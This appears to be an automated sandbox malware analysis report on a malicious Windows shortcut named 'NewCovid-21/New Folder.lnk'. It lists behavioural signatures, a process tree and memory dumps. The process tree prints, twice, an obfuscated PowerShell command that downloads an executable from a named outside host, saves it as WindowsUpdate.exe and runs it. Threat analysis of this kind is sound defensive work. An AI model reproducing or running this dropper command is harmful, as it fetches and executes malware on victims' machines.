Analysis

  • max time kernel
    129s
  • max time network
    133s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220113
  • submitted
    28-02-2022 03:16

General

  • Target

    NewCovid-21/New Folder.lnk

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://buking.site/soft/08042021.exe

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\NewCovid-21\New Folder.lnk"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1736
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" && C:\Windows\System32\cmd.exe /c poweRshELL.eXE -w 1 $env:SEE_MASK_NOZONECHECKS = 1; Im`Po`RT`-modULe bItsTR`Ans`Fer; STArt-b`IT`sT`R`AN`SF`ER -Source "('ht'+'tp'+'://buk'+'ing.si'+'te'+'/so'+'ft'+'/08'+'04'+'2021.e'+'xe')" -Destination $ENV:TEMP\WindowsUpdate.exe ;.('cd') ${eNv:TEMP}; ./`WindowsUpdate.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2564
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        poweRshELL.eXE -w 1 $env:SEE_MASK_NOZONECHECKS = 1; Im`Po`RT`-modULe bItsTR`Ans`Fer; STArt-b`IT`sT`R`AN`SF`ER -Source "('ht'+'tp'+'://buk'+'ing.si'+'te'+'/so'+'ft'+'/08'+'04'+'2021.e'+'xe')" -Destination $ENV:TEMP\WindowsUpdate.exe ;.('cd') ${eNv:TEMP}; ./`WindowsUpdate.exe
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2804

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2804-131-0x000001BF1DA10000-0x000001BF1DA12000-memory.dmp

    Filesize

    8KB

  • memory/2804-132-0x000001BF1DA13000-0x000001BF1DA15000-memory.dmp

    Filesize

    8KB

  • memory/2804-130-0x00007FF936F63000-0x00007FF936F65000-memory.dmp

    Filesize

    8KB

  • memory/2804-133-0x000001BF03CF0000-0x000001BF03D12000-memory.dmp

    Filesize

    136KB

  • memory/2804-134-0x000001BF03DB0000-0x000001BF03DC4000-memory.dmp

    Filesize

    80KB

  • memory/2804-135-0x000001BF1DA16000-0x000001BF1DA18000-memory.dmp

    Filesize

    8KB

  • memory/2804-136-0x000001BF1DA18000-0x000001BF1DA19000-memory.dmp

    Filesize

    4KB